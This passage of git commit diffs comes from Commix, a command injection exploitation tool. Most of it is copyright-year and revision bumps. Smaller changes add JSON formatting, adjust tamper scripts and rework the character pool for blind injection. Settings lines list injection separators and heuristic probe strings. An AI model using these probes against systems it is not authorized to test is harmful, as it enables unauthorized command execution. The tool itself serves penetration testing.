Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index 3a106c62a0..619325e0e0 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/randomcase.py b/src/core/tamper/randomcase.py index 9e7e130180..fe6a4ad711 100644 --- a/src/core/tamper/randomcase.py +++ b/src/core/tamper/randomcase.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 6fe2d5fc78..55db59e60e 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index f48b8bb8ff..895dd33bff 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index f384aaa8d1..35899dd7f1 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index b26e740e54..18db60fffa 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 0e3f69946c..2a24bdb137 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index 3dacc887de..c39e58f4d0 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 6523c84312..aa42fe8177 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 4b9ba1a583..1c8b4cc3ba 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index ad8a9e2209..53d616a555 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 62162823d3..5653bcd5e9 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 1d013ef5f8..d8a2cbfcb4 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/testing.py b/src/core/testing.py index 17cb26ffd1..54702c9ddc 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/txt/__init__.py b/src/txt/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/txt/__init__.py +++ b/src/txt/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/__init__.py b/src/utils/__init__.py index 4a4e6d4eec..de196a7f70 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/colors.py b/src/utils/colors.py index 9a4044db07..42881c5958 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/common.py b/src/utils/common.py index e82baabbe4..3b2c03f9cd 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/crawler.py b/src/utils/crawler.py index a9a92b3e97..12181d5149 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/install.py b/src/utils/install.py index 1e743f2da7..f22895a3dd 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/logs.py b/src/utils/logs.py index dc92b855af..62c72fde84 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/menu.py b/src/utils/menu.py index e9f3aa3bc8..e3d40b66ed 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/purge.py b/src/utils/purge.py index fd135c9ce4..fd5d6df993 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/requirements.py b/src/utils/requirements.py index 08da27229c..af9d9d436c 100644 --- a/src/utils/requirements.py +++ b/src/utils/requirements.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 2fcd10f23e..c97ea73ea3 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/settings.py b/src/utils/settings.py index f41c6b723b..11d7c0426a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -272,7 +272,7 @@ def sys_argv_errors(): VERSION = VERSION + VERSION_NUM + ".dev" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL -YEAR = "2014-2025" +YEAR = "2014-2026" AUTHOR_X_ACCOUNT = "@ancst" APPLICATION_URL = "https://commixproject.com" APPLICATION_X_ACCOUNT = "@commixproject" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index e3198934c5..d0c978951b 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/update.py b/src/utils/update.py index 2c0b4c91c7..d838c03928 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/version.py b/src/utils/version.py index 8d50aade9e..937e9003c4 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From 100221d9bcc02a37973cee3faea92303e54817c4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 1 Feb 2026 12:41:44 +0200 Subject: [PATCH 0660/1023] Added standardized JSON output formatting with 2-space indentation. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 10 ++++++++-- src/core/requests/parameters.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 11 insertions(+), 4 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1f59d74cba..a5d85870fc 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Standardized JSON output formatting with 2-space indentation. * Revised: Improved JSON data handling to safely flatten/unflatten mixed nested structures. * Revised: Refactored GitHub issue reporting; automatic submission replaced by manual sanitized reports. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7ebc10e2c0..93ef08c7e0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2012,13 +2012,19 @@ def skip_empty(empty_parameters, http_request_method): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Parsing and unflattening json data. +Pretty-print data as valid JSON using 2-space indentation. +""" +def format_json(data): + return json.dumps(data, indent=2, ensure_ascii=False) + +""" +Parsing and unflattening JSON data. """ def json_data(data): try: data = json.loads(data, object_pairs_hook=OrderedDict) data = unflatten_list(data) - return json.dumps(data) + return format_json(data) except Exception: return data diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index f8fd55789f..c0c5aca9c7 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -290,7 +290,7 @@ def json_format(parameter): if _ and isinstance(parameter, OrderedDict): parameter = unflatten_list(parameter) - parameter = json.dumps(parameter) + parameter = checks.format_json(parameter) return parameter # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. diff --git a/src/utils/settings.py b/src/utils/settings.py index 11d7c0426a..c663e2d581 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e051284705af6061d33130eba775f70d75f2bdc2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 8 Feb 2026 10:31:31 +0200 Subject: [PATCH 0661/1023] Refactored heuristic payload preprocessing to normalize randomized placeholders --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 3 +++ src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a5d85870fc..21b521710b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Refactored heuristic payload preprocessing to normalize randomized placeholders. * Added: Standardized JSON output formatting with 2-space indentation. * Revised: Improved JSON data handling to safely flatten/unflatten mixed nested structures. * Revised: Refactored GitHub issue reporting; automatic submission replaced by manual sanitized reports. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 84b7c81217..01694ad539 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -150,6 +150,9 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS else: basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS + + basic_payloads = [x.replace(settings.RANDOM_STRING_GENERATOR, settings.SINGLE_WHITESPACE.strip()) for x in basic_payloads] + settings.CLASSIC_STATE = True try: # checks.perform_payload_modification(payload="") diff --git a/src/utils/settings.py b/src/utils/settings.py index c663e2d581..30360c42cd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 77fd72d21b5c1c78e8a89e52cb8549e5b83b4edb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 14 Feb 2026 09:55:18 +0200 Subject: [PATCH 0662/1023] Minor update regarding tamper script "space2plus" --- src/core/tamper/space2plus.py | 15 +++++++++++++-- src/utils/settings.py | 2 +- 2 files changed, 14 insertions(+), 3 deletions(-) diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 1c8b4cc3ba..22a5da16c6 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -23,16 +23,27 @@ __tamper__ = "space2plus" space2plus = _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE) +_warned_once = False if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True -def tamper(payload): - if len(settings.WHITESPACES) != 0: +def tamper(payload): + global _warned_once + + if len(settings.WHITESPACES) != 0 and not settings.IS_JSON: if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): settings.WHITESPACES[0] = space2plus elif space2plus not in settings.WHITESPACES: settings.WHITESPACES.append(space2plus) + + else: + if not _warned_once: + warn_msg = "JSON data do not support the use of '" + __tamper__ + "', " + warn_msg += "which is ineffective for JSON payloads. Skipping tamper script." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + _warned_once = True + return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 30360c42cd..721553bdb8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 288857a3a356349f009a36f6aa997a415ca57d80 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 22 Feb 2026 10:27:14 +0200 Subject: [PATCH 0663/1023] Improved handling of injectable parameters in JSON objects --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 2 ++ src/utils/settings.py | 4 ++-- 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 21b521710b..acfae49e7c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Improved handling of injectable parameters in JSON objects. * Revised: Refactored heuristic payload preprocessing to normalize randomized placeholders. * Added: Standardized JSON output formatting with 2-space indentation. * Revised: Improved JSON data handling to safely flatten/unflatten mixed nested structures. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 01694ad539..ae5894e46b 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -103,6 +103,8 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites payload, prefix = parameters.prefixes(payload, prefix="") payload, suffix = parameters.suffixes(payload, suffix="") payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) + if settings.IS_JSON: + payload = _urllib.parse.unquote(payload) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: settings.print_data_to_stdout(settings.print_payload(payload)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 721553bdb8..2d91ac3ae9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -352,7 +352,7 @@ class HEURISTIC_TEST(object): #Basic heuristic checks for command injections RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) -CALC_STRING = str(RAND_A) + " %2B " + str(RAND_B) +CALC_STRING = str(RAND_A) + "%2B" + str(RAND_B) BASIC_STRING = "" BASIC_COMMAND_INJECTION_PAYLOADS = [] ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" From 0a8e41b9c1ec005fe5a978739561c14b0fae6c0b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 28 Feb 2026 09:00:32 +0200 Subject: [PATCH 0664/1023] Trivial update for extending network error handling --- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 412ba57b4a..43ce80b806 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -318,7 +318,7 @@ def request_failed(err_msg): else: return False - elif re.search(r"(connection\s*refused|timed?\s*out)", str(error_msg), re.IGNORECASE): + elif re.search(r"(connection\s*refused|timed?\s*out|no\s*route|unreachable)", str(error_msg), re.IGNORECASE): settings.MAX_RETRIES = 1 err = "Unable to connect to the target URL" if menu.options.tor: diff --git a/src/utils/settings.py b/src/utils/settings.py index 2d91ac3ae9..4dfc7d35d1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From feaa71cbc346cfe06f6c547e341464bb28522669 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 9 Mar 2026 08:59:20 +0200 Subject: [PATCH 0665/1023] Improved feedback by detecting nested JSON structures --- src/core/injections/controller/checks.py | 13 +++++++++++++ src/utils/settings.py | 3 ++- 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 93ef08c7e0..f970a519e8 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2011,10 +2011,23 @@ def skip_empty(empty_parameters, http_request_method): warn_msg += " because user specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) +""" +Prints an informational message if a nested JSON structure is detected +and JSON parameter enumeration has not started yet. +""" +def nested_json_msg(data): + if not settings.JSON_ENUMERATION_STARTED: + # Detect nested structure by checking if flattening increases the number of keys + if len(flatten(data)) > len(data): + settings.JSON_ENUMERATION_STARTED = True + info_msg = "Enumerating parameters due to nested JSON structure." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Pretty-print data as valid JSON using 2-space indentation. """ def format_json(data): + nested_json_msg(data) return json.dumps(data, indent=2, ensure_ascii=False) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 4dfc7d35d1..e3050f842f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1340,6 +1340,7 @@ class END_LINE: IGNORE_JSON_CHAR_REGEX = r"[{}\"\[\]]" FLATTEN_JSON_SEPARATOR = ''.join(random.choice("{}") for _ in range(10)) + "_" +JSON_ENUMERATION_STARTED = False PERFORM_CRACKING = False From 00d467c59048f7e0ccc15001227e55405b0dcef2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 16 Mar 2026 08:08:05 +0200 Subject: [PATCH 0666/1023] Trivial update --- src/core/injections/controller/checks.py | 19 ++++++-------- src/utils/settings.py | 32 +++++++++++++++++++++++- 2 files changed, 38 insertions(+), 13 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f970a519e8..9828fa8a5d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2204,21 +2204,16 @@ def check_similarities(all_params): return all_params """ -Gererate characters pool (for blind command injections) +Generate a character pool for time‑related command injection techniques """ def generate_char_pool(num_of_chars): if menu.options.charset: - char_pool = [ord(c) for c in menu.options.charset] - else: - # Source for letter frequency: http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language - if num_of_chars == 1: - char_pool = [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] + \ - [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] - else: - char_pool = [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] + \ - [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] - char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) - return char_pool + return [ord(c) for c in menu.options.charset] + + if num_of_chars == 1: + return list(settings.CHAR_POOL_SINGLE) + + return list(settings.CHAR_POOL_MULTI) """ Print powershell version diff --git a/src/utils/settings.py b/src/utils/settings.py index e3050f842f..165cb3fe7f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -521,6 +521,36 @@ class OS(object): EXTRA_HTTP_HEADERS = False +# Lowercase letters (most frequent first) +FREQ_LOWER = [ + 101, 116, 97, 111, 105, 110, 115, 114, 104, 100, + 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, + 118, 107, 106, 120, 113, 122 +] + +# Digits (1–9 first, 0 last) +DIGITS = [49, 50, 51, 52, 53, 54, 55, 56, 57, 48] + +# Uppercase letters (most frequent first) +FREQ_UPPER = [ + 69, 84, 65, 79, 73, 78, 83, 82, 72, 68, + 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, + 86, 75, 74, 88, 81, 90 +] + +# Common symbols only (last) +SYMBOLS = [ + 32, 95, 45, 46, 47, 64, # most common + *range(33, 45), # ! " # $ % & ' ( ) * + , + *range(58, 64), # : ; < = > ? + *range(91, 95), # [ \ ] ^ + *range(96, 97), # ` + *range(123, 127), # { | } ~ +] + +CHAR_POOL_SINGLE = (FREQ_UPPER + FREQ_LOWER + DIGITS + SYMBOLS) +CHAR_POOL_MULTI = (FREQ_LOWER + DIGITS + FREQ_UPPER + SYMBOLS) + # The command injection separators. SEPARATORS = [] DEFAULT_SEPARATORS = [";", "%26", "|", ""] From 859965ced17c8714de094fb15aa979417cd28973 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 16 Mar 2026 08:19:15 +0200 Subject: [PATCH 0667/1023] Trivial update for Python compatibility in symbols charset --- src/utils/settings.py | 28 ++++++++++++++++++---------- 1 file changed, 18 insertions(+), 10 deletions(-) diff --git a/src/utils/settings.py 